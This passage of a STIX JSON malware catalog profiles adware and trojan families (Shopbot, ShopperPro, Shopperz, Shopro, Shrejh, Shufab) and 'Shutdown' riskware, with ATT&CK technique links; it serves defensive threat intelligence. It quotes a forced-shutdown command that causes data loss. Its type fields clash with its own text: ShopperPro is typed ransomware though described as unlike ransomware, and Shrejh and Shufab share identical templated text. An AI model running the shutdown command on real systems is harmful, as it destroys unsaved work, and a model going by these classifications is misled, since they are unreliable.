      "description": "Adware:Win32/Shopbot is an aggressive Potentially Unwanted Program (PUA) and adware family often bundled with free software. Its primary function is to silently install rogue browser extensions and intercept web traffic to inject intrusive advertisements, specifically targeted coupons, and monitor user browsing habits, thereby generating illicit affiliate revenue and harvesting marketing data for the developers.<br><br><b>Understanding Shopbot Adware</b><br>To an end-user, a Shopbot infection is highly frustrating. Their familiar e-commerce browsing experience is suddenly interrupted by unsolicited pop-ups, price comparison overlays, and injected affiliate links. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme combined with aggressive telemetry collection, utilizing persistence mechanisms to prevent easy removal.<br><br><b>Execution and Hijacking Mechanics</b><br>Shopbot is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`). Crucially, its 'spy' component aggressively logs search queries, visited e-commerce URLs, and sometimes even shopping cart data, sending this telemetry back to the adware operators to serve highly targeted injected advertisements and affiliate redirects.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks, often containing base64-encoded strings of the user's browsing history in the URL parameters. EDR logs will flag the installation of the Shopbot extensions and the unauthorized modification of browser registry keys. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shopbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shopbot"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3fbe28f-b850-5706-aeeb-2e6b621ffab5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--932dd826-6d08-51cd-9abb-f8144639ecbc",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shopbot exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2929cbd6-791e-5d61-9bbc-dc0092af2160",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--932dd826-6d08-51cd-9abb-f8144639ecbc",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shopbot exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aae826f1-48d9-55cb-824c-4cfe2587899d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--932dd826-6d08-51cd-9abb-f8144639ecbc",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shopbot exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c560fc3c-a731-5254-abde-9926fa718c7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--932dd826-6d08-51cd-9abb-f8144639ecbc",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shopbot exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6909f67c-0163-569a-9c0e-52812b1813e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shopperpro",
      "description": "<h3>Executive Summary</h3>\nShopperPro is an aggressive Adware application and Potentially Unwanted Program (PUP) primarily targeting Windows operating systems. It deceptively markets itself as a helpful shopping assistant designed to provide \"coupons, deals, and price comparisons\" while browsing e-commerce sites. In reality, its primary function is unauthorized monetization through the injection of highly intrusive advertisements and the covert tracking of user web behavior.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nShopperPro relies almost entirely on deceptive software bundling (pay-per-install networks). Users typically encounter it via fake \"Update Flash Player\" prompts on illegal streaming sites or bundled within \"free\" utilities downloaded from untrustworthy software portals.\n\nUpon execution, ShopperPro establishes deep integration with the system's web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> The adware installs persistent Browser Helper Objects (BHOs) and malicious extensions across Chrome, Firefox, and Internet Explorer. It modifies the browser's default homepage and default search engine to route all traffic through attacker-controlled affiliate portals.</li>\n<li><strong>DOM Manipulation and Ad Injection:</strong> ShopperPro intercepts the rendering of legitimate websites (especially e-commerce sites like Amazon or eBay). It injects its own JavaScript to overlay pages with pop-up ads, sliding banners, and in-text hyperlinks. These ads often promote further malware, technical support scams, or adult content.</li>\n<li><strong>Privacy Violations:</strong> To serve targeted advertisements, ShopperPro silently tracks the user's browsing history, search queries, and geographical location, transmitting this telemetry to third-party marketing servers in violation of standard privacy practices.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile ShopperPro is not designed for data destruction like ransomware, it poses a severe threat to user privacy and system stability. The constant ad injection consumes massive CPU and RAM resources, rendering web browsing nearly impossible. Furthermore, the \"malvertising\" networks it relies upon frequently serve as conduits for more severe infections, such as banking trojans or info-stealers.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Application Uninstallation:</strong> The primary remediation step is to locate and uninstall \"ShopperPro\" (or any similarly named, recently installed suspicious programs) via the Windows Control Panel.</li>\n<li><strong>Browser Factory Reset:</strong> Because ShopperPro fundamentally alters browser configurations, the most effective cleanup method is to perform a full factory reset of all installed web browsers. This guarantees the removal of malicious extensions, BHOs, and tracking cookies.</li>\n<li><strong>Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for PUPs/Adware) to scan for and remove lingering registry keys (e.g., in `HKLM\\Software`) and orphaned files left behind by the uninstaller.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.ShopperPro",
        "PUP.ShopperPro",
        "Win32/Adware.ShopperPro"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shopperpro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shopperpro"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a7f1956-c806-5262-a290-51df002e0272",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6909f67c-0163-569a-9c0e-52812b1813e1",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shopperpro exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67c415c4-fab9-5b00-8cbc-e11796207353",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6909f67c-0163-569a-9c0e-52812b1813e1",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shopperpro exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1025a88-20b2-5abc-a9f2-cbb1fd86cad9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6909f67c-0163-569a-9c0e-52812b1813e1",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shopperpro exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e61360f6-4146-505a-9a1e-61f04354ea15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shopperz",
      "description": "<h3>Executive Summary</h3>\nShopperz is a widespread family of Adware and Browser Hijackers designed to aggressively monetize an infected user's web browsing activity. By forcefully altering browser configurations and injecting highly intrusive, targeted advertisements into e-commerce websites, Shopperz degrades system performance and poses a significant threat to end-user privacy.\n\n<h3>Distribution and Technical Behavior</h3>\nShopperz is almost exclusively distributed via deceptive software bundling. It is frequently hidden within \"free\" software installers, PDF converters, or media players downloaded from untrustworthy software portals, relying on users hastily clicking through installation prompts.\n\nOnce executed, Shopperz deeply integrates with the operating system and installed web browsers (Google Chrome, Firefox, Edge). Its core behaviors include:\n<ul>\n<li><strong>Targeted E-commerce Injection:</strong> Unlike generic adware, Shopperz specifically targets users visiting popular e-commerce sites (like Amazon, eBay, or Walmart). It injects \"price comparison\" pop-ups, sponsored banners, and in-text hyperlinks, redirecting users to affiliate links controlled by the adware operators.</li>\n<li><strong>Browser Hijacking:</strong> It often alters the browser's default search engine, homepage, and new tab settings to redirect all search traffic through a specific, low-reputation search portal designed to generate ad revenue.</li>\n<li><strong>Telemetry and Tracking:</strong> Shopperz continuously tracks the user's browsing history, search queries, and online shopping habits, transmitting this telemetry to remote servers to serve highly targeted, albeit unwanted, advertisements.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Shopperz does not actively encrypt files or steal banking credentials, it introduces massive operational friction and violates user privacy. Furthermore, the injected advertisements are frequently served by low-reputation ad networks, increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Shopperz executables, hidden scheduled tasks, and persistent registry keys used to maintain its hold on the system.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Shopperz",
        "PUP.Shopperz",
        "BrowserModifier:Win32/Shopperz"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shopperz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shopperz"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ef40ce5-b7c7-5f9c-9eba-9b61a3b66e56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e61360f6-4146-505a-9a1e-61f04354ea15",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shopperz exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--676c2ce6-c92f-5247-b855-a9ba1ed2af1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e61360f6-4146-505a-9a1e-61f04354ea15",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shopperz exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e11e8a8-b7c9-581d-9be5-a9c993465461",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e61360f6-4146-505a-9a1e-61f04354ea15",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shopperz exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4dcc4217-a048-56ac-8cde-c8246bd6c515",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shopro",
      "description": "Adware:Win32/Shopro is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Shopro</b><br>To an end-user, Shopro manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Shopro is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shopro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shopro"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--090e21be-491a-5641-8f6b-e7eb3b7bccb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4dcc4217-a048-56ac-8cde-c8246bd6c515",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shopro exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dec48006-5523-5feb-ac4d-ea51db496864",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4dcc4217-a048-56ac-8cde-c8246bd6c515",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shopro exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4eca9aa5-3447-5081-a90b-2e4cd5936b56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4dcc4217-a048-56ac-8cde-c8246bd6c515",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shopro exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a7ec9a2-d424-5389-9e79-453bef1a8b14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4dcc4217-a048-56ac-8cde-c8246bd6c515",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shopro exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fd59db83-0bb8-5236-a2ff-c52a66ac9d00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shrejh",
      "description": "Trojan:Win32/Shrejh is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Shrejh</b><br>To an end-user, a Shrejh infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Shrejh is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Shrejh is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Shrejh frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Shrejh reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shrejh",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shrejh"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba121b09-60df-50f6-b899-86a8dff526a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd59db83-0bb8-5236-a2ff-c52a66ac9d00",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shrejh exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--989e28c2-ce3e-532e-8676-69bc8f13a01f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd59db83-0bb8-5236-a2ff-c52a66ac9d00",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shrejh exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a18b3425-f794-5925-81d3-7dc8fda5a3b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd59db83-0bb8-5236-a2ff-c52a66ac9d00",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shrejh exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4600db9-8b86-54d5-8c23-d4f221c34243",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd59db83-0bb8-5236-a2ff-c52a66ac9d00",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shrejh exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abaa6d05-8be8-551b-a2b7-5d451336cce5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd59db83-0bb8-5236-a2ff-c52a66ac9d00",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shrejh exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f8d65d78-06ff-5ada-b141-bad23bcddb6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shufab",
      "description": "Trojan:Win32/Shufab is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Shufab</b><br>To an end-user, a Shufab infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Shufab is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Shufab is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Shufab frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Shufab reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shufab",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shufab"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26b2534f-03c7-5d6a-b9a1-a1ee757bc713",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8d65d78-06ff-5ada-b141-bad23bcddb6a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shufab exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef0cd7f8-f008-5912-b265-4cdab338d4d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8d65d78-06ff-5ada-b141-bad23bcddb6a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shufab exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--778583f4-5ebc-5c39-98ea-1d31ae879fee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8d65d78-06ff-5ada-b141-bad23bcddb6a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shufab exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc97b7f4-61df-5060-a5b8-45b0b255287b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8d65d78-06ff-5ada-b141-bad23bcddb6a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shufab exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73c3aad0-8737-567a-8cba-876cf37224dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8d65d78-06ff-5ada-b141-bad23bcddb6a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shufab exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--11a3ed79-9253-5912-b0ca-e78c2c0587a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shutdown",
      "description": "<h3>Executive Summary</h3>\n\"Shutdown\" (often detected as Riskware.Shutdown or Joke.Shutdown) is a classification for simple, usually non-destructive utility programs or scripts whose sole function is to forcefully power off, reboot, or log off the targeted Windows system. While sometimes created as harmless pranks (\"Joke\" programs), these scripts can be weaponized by threat actors to cause operational disruption, clear volatile memory to frustrate forensic analysis, or force the execution of malware that relies on a system reboot for persistence.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nShutdown utilities are typically delivered via social engineering (e.g., disguised as a game or a document sent via email) or dropped as a final step by an initial access broker or dropper Trojan.\n\nUpon execution, these programs exhibit very simple behavior:\n<ul>\n<li><strong>API Abuse:</strong> The program typically makes a direct call to the Windows API `ExitWindowsEx` or `InitiateSystemShutdown`. Alternatively, it may simply execute the built-in Windows command-line utility `shutdown.exe` with specific flags (e.g., `shutdown /s /f /t 0` for an immediate, forced power off).</li>\n<li><strong>Disruption:</strong> The execution causes the system to immediately terminate all running applications (often resulting in unsaved data loss) and initiate the power cycle.</li>\n<li><strong>Covering Tracks (Anti-Forensics):</strong> Sophisticated threat actors may deploy a Shutdown script at the conclusion of an intrusion specifically to clear the system's RAM, destroying volatile forensic artifacts (like decrypted payloads or active network connections) before incident responders can capture a memory image.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile a basic Shutdown script is not inherently destructive to files like ransomware, it causes significant operational disruption. Furthermore, if the shutdown was initiated by an unauthorized actor, it may indicate a broader compromise where the shutdown is being used as a diversion or an anti-forensic measure.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Contextual Investigation:</strong> Identify how the script was executed. Was it a prank executed by a user, or was it dropped by an unknown process? The execution vector determines the severity of the incident.</li>\n<li><strong>Log 